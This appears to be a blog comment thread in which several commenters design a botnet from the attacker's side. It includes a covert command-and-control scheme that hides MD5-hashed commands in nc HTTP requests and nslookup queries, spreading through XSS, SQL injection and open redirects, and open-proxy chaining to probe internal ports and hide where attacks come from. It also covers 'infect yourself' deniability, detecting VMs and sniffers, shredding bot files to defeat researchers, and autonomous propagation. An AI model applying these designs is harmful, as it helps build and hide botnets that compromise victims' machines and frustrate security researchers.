Just a quick point because I very much agree, on the NAT issue, besides UPnP, an interesting approach will be pwnat (http://samy.pl/pwnat/).

I always figured: Infect yourself. That way, you look like a victim, not the perpretrator, and can hide commands in botnet maintenance communication (keepalive, host notification, whatnot). To speed up the process, you could have this hidden command crawl to a random node and then that node launches the command “properly” from there. You could even use this to “patsy” other people by making a zombie look like the controlling machine.

To improve performance and connectivity, I’d have a FastTrack-style ring hierarchy — Ring 1 would be machines largely unfirewalled and with fast connections that issue commands to Ring 2, the unwashed masses. (There is no Ring 0 — you are somewhere in Ring 1 or Ring 2, indiscernable from the rest of the botnet.)

As for communication, my first thought is some kind of encrypted VPN-style network with a full-blown key setup and certificates/keys for each node. Doing this autonomously on a P2P scale would be a fun problem indeed. Can you do that kind of private-key auth with SSL? That’d be awfully convenient, port 443 and all.

There’s a brief, interesting article on darknet design here : hxxp://www.phreedom.org/blog/2010/darknet-design/

@roothorick: Being patient 0 is kind of risky.

I hope you can bluff stupidity. If your worm spreads slowly it’s game over when you’re asked why you’re at the center of a worm infection. Maybe leave your wireless open?

If “I dunno, I got hacked” worked for plausible denial then I’m sure it would be used in court more often. “What’s an internet?” When you get busted try out “I was writing a random number generator and it became sentient.” I’ve always wanted to see how that would play out in court.

“I was working on it and released it by accident” fails, as per the ILOVEYOU author. Not like he had much of a choice after leaving his name in the worm’s comment header. He did land a security job out of it though.

I like roothorick’s rings idea, although I would go so far as to add a primary XSS layer (Ring 0) which initiates driveby exploits against the browser (using either JS or ActiveX) and attempts to exploit embedded devices within the victim’s intranet (by ip and port scanning with JS). Ring 1 and Ring 2 could spread (in addition to the usual ways – network shares, email, removable media, etc) via the internet using SQL injection, persistent XSS and abusing open redirects to plant the Ring 0 droppers.

I also like roothorick’s idea of SSL/443. Good old IRC supports SSL obviously.

Personally I’d prefer to backdoor the system, sniff network traffic and act on specific commands (encoded as md5 strings) to any port TCP / UDP. You run the risk of having the botnet hijacked should someone reverse engineer the triggers, however rotating the hash salt would buy some extra time. Also, you face the same issue with SSL if the researcher MITMs and runs ssl-strip.

In addition to matt’s node idea :

We miss out of SSL encryption unfortunately, but we can still use md5, sha1 or anything for that matter.

Assume we want to send a command to our bot on target.com to attempt to inject SQL on 192.0.32.*

The command “SQLI” : 0a3b1a03c6bf4091c13b1579ed0bdd32
192 : 58a2fc6ed39fd083f55d4182bf88826d
0 : cfcd208495d565ef66e7dff9f98764da
32 : 6364d3f0f495b6ab9dcf8d3b5c6e0b01
* : 3389dae361af79b04c9c8e7057f60cc6
EOF : 4423718c61c4e8a4362d955bbc7b9711

Putting it all together. HXXP is used but DNS or any other plain text protocol is fine. We could probably even use HXXP over unencrypted HXXPS port 443. At least it would probably appear like benign encoded traffic to a novice network administrator :

nc target.com 80
GET /0a3b1a03c6bf4091c13b1579ed0bdd3258a2fc6ed39fd083f55d4182bf88826dcfcd208495d565ef66e7dff9f98764da6364d3f0f495b6ab9dcf8d3b5c6e0b013389dae361af79b04c9c8e7057f60cc64423718c61c4e8a4362d955bbc7b9711 HXXP/1.0
Host:target.com

The bot on target.com notices a hex pattern in a multiple of 32 bytes and larger than 192 bytes (1 operator, four IP integers and 1 EOF = 6 x 32 character hashes = 192), fly over the wire. It splits by 32 bytes and brute forces the operator and IP address and constructs the command. Obviously we would salt the hashes, even though the salt would be easy to reverse engineer. It then performs the required task, in this case attempting SQLI against the entire 192.0.32.* netblock.

It would be possible to build the bot as a framework and receive files (aka “modules”) over DNS when required, md5 encrypted, and then brute force the output on the other side. Some guidelines would need to be established, like splitting all strings in to 4 byte segments before md5 hashing to speed up brute force, command delimiters, etc. This would be horribly slow, considering today’s internet speeds, but could would be pretty stealthy and could be split up over a period of days or even weeks for the ultra-paranoid, so long as some sort of CRC/resume function was implemented, in a similar way to how TCP/IP handles packets which arrive out of order.

For example, let’s say a bot on 192.168.1.1 needs a gdi-exploit module to escalate privileges. It contacts it’s parent, 192.168.1.2 and asks for the exploit :

Self : 192.168.1.1 : 66efff4c945d3c3b87fc271b47d456db
Command : GMOD (for “get module”) : 7f954fa75dded240ae293957dbebd324
File : escalate/gdi-exploit.exe :
File[0] : esca : ccb1b72dd71e3cf1b722058660cf1c38
File[1] : late : f2c67381db28fa11c59fe7a6df0f2587
File[2] : “/” Category/Filename Delemiter : 6666cd76f96956469e7be39d750cc7d9
File[3] : gdi- : 5de7a70b9350d7a9b973f083e74ed2e7
File[4] : expl : dc653fc0484527ae99855fdd042b2747
File[5] : oit. : be3930bc371559a37c9092ecacad9912
File[6] : exe : 98e83379d45538379c2ac4e47c3be81d
File[7] : EOF : 4423718c61c4e8a4362d955bbc7b9711

Note I’ve introduced “self”. This is a rudimentary check – if the md5hash of the remote IP+salt does not match the first 32 bytes of the request it will abort the request. This could be due to incompatible salts or an incorrect IP. This is meant to catch unwary researchers but will fail pretty horribly when presented with domain names and domains with different IPs. This is merely an example.

Putting it all together :

nslookup x66efff4c945d3c3b87fc271b47d456db7f954fa75dded240ae293957dbebd324ccb1b72dd71e3cf1b722058660cf1c38f2c67381db28fa11c59fe7a6df0f25876666cd76f96956469e7be39d750cc7d95de7a70b9350d7a9b973f083e74ed2e7dc653fc0484527ae99855fdd042b2747be3930bc371559a37c9092ecacad991298e83379d45538379c2ac4e47c3be81d4423718c61c4e8a4362d955bbc7b9711 192.168.1.2

(This may be too long for a domain name, I haven’t checked)

Note the “x” before the request, this is so the recipient bot knows where to begin splitting by 32 bytes, seeing as x will never appear in hex.

The parent responds back to the same port, having been eavesdropping on port 53 :

Self : 192.168.1.2 : 8a120ff3e2c86713f4d346d20f763ee7
Command : WMOD (for “write module”) : cc267bf711c2fbacab7c92d8b69d9e2e
Total Size : (always in bytes) : 3000 : e93028bdc1aacdfb3687181f2031765d
File[0] : binarydata : fa13e55202c138908566cbecca4bd5de
File[1] : binarydata : fa13e55202c138908566cbecca4bd5de
File[2] : binarydata : fa13e55202c138908566cbecca4bd5de
File[3] : EOF : 4423718c61c4e8a4362d955bbc7b9711

nc 192.168.1.1 $CHILD_PORT
GET /x8a120ff3e2c86713f4d346d20f763ee7cc267bf711c2fbacab7c92d8b69d9e2ee93028bdc1aacdfb3687181f2031765dfa13e55202c138908566cbecca4bd5defa13e55202c138908566cbecca4bd5defa13e55202c138908566cbecca4bd5de4423718c61c4e8a4362d955bbc7b9711 HXXP/1.0

Pretty rudimentary . . . But it immediately seems useful, because you can use unwitting users browsing the internet to send commands to your bots using simple HXXP GET requests via image tags.

For example,

Furthermore, we can abuse open and blind proxies to attack other targets or pivot inside an intranet and send code to our bots behind the firewall. There are numerous instances of blind proxies allowing access to internal domains and non-HXXP ports, in fact I’m writing a paper on it at the moment. Consider an open or blind proxy that does check ports or validate domain names :

hxxp://target.com/?url=hxxp://localhost/
hxxp://target.com/?url=hxxp://localhost:21/
hxxp://target.com/?url=hxxp://localhost:22/
hxxp://target.com/?url=hxxp://localhost:25/
hxxp://target.com/?url=hxxp://fbi.gov:80/?THERES_A_BOMB_IN_THE_BUILDING_LOLOLOLOL

You can also chain these together to hide the origin of the command/attack, just make sure you pick open/blind proxies which don’t leak the referrer. Also, the first host in the chain will be able to see the entire chain, and the second host will be able to see all but the first host, and the third host will be able to see all but the first and second hosts, etc. An attacker would abuse this knowledge by starting the proxy chain in a country that is neutral or known to have slack security.

Thoughts?

—

Again, I’m hijacking the conversation from C&C to autonomous behavior without C&C, but with good reason. One of the biggest issues for botnet owners, perhaps even bigger than finding commands as matt suggests, is the discovery of their creation by researchers. The fundamental flaw in using social networks for C&C, as matt suggested, is that they’re too easy to discover, monitor and block.

Current mitigation tactics for botmasters include DDoSing every host from the bot to the researcher, inclusive, and using fake administration panels to distract/lure/monitor researchers (aka `bot hoenypot`, see: hxxp://www.boingboing.net/2010/11/05/botmasters-include-f.html )

I’m still waiting to see a properly paranoid bot. Surely a botmaster would prefer to lose a few bots than risk discovery? The longer it takes researches to reverse engineer, the more time available to propagate. Where’s the bot that stops all aggressive behavior the second it spots a sniffer in memory or an access attempt at its admin panel or a portscan from localhost, or an incorrect key used with a remote bot command, etc, etc? Blocking security tools from running (such as regedt32 and hijackthis.exe) just screams infection, even if it is annoying to have to rename your files.

Let’s say I’m a bot and I’ve detected I’m under attack — from localhost! I can’t remove myself from memory or else the local rootkit files and processes will become visible. I know someone is already on to me but chances are they won’t find where I came from unless they’ve been watching me since infection. I can’t blacklist the IP because this could be too easily exploited by researchers (also, the IP is localhost in this case). We can’t just uninstall, for the same reason. Furthermore we can’t call home for fear of giving away our parents locations.

Fight, flight or ahem; propagate.

Fight? — They’ve cut off internet access and I can’t call in DDoS support. Not that I’d want to because giving away the locations of other bots by calling them in to an obviously malicious environment is pretty stupid. Yeah I said it. Come get me Conficker botmasters.

Propagate – Ideally I would go silent for 12-72 hours then revert to some sort of autonomous behavior whereby I don’t take commands for fear of infection, but continue to spread to achieve pre-programmed goals (ie, privilege escalation, network privilege escalation or webserver infection for ring 0), prioritizing based on my location and privileges on the local network. The idea from here on out is that i’ve been compromised. I’ll continue to infect hosts and point the dropper at myself as their parent, but i will no longer take commands. This would be fine against a curious home user but wouldn’t stand up against a researcher in a test lab.

Theoretically I could occasionally send SOS messages to random IPs in the vein hope they’re friendly. This way it would be possible to blacklist the address and stop other copies of the worm from contacting the compromised network in distress. Again this just begs to be abused by researchers.

Against researchers I take a highly emo alternative where, short of uninstalling myself, flight is appealing. Detecting the existence of a VM with no network access is crucial and is probably the only time I’d consider such a drastic option :

Shut down all outbound bot connections. Stop any background process, such as writing to removable media or attempted network password cracking. Write dropper to start-up, write shredder binary to temp, shred all bot files which aren’t being used to hide the process, close bot processes/threads and shred the remaining bot’s file(s). This leaves the researcher with practically nothing on me. They have a generic shredder file, a dropper of which they were probably already aware (why else is a researcher watching me?) and whatever they managed to sniff from the wire or dump from memory.

Granted there’s no real way to stop a researcher running the worm in a VM, unless you can break out. You can only make their job more difficult.

1770 words!? I swear you need to put a word limit on comments or I’d keep typing.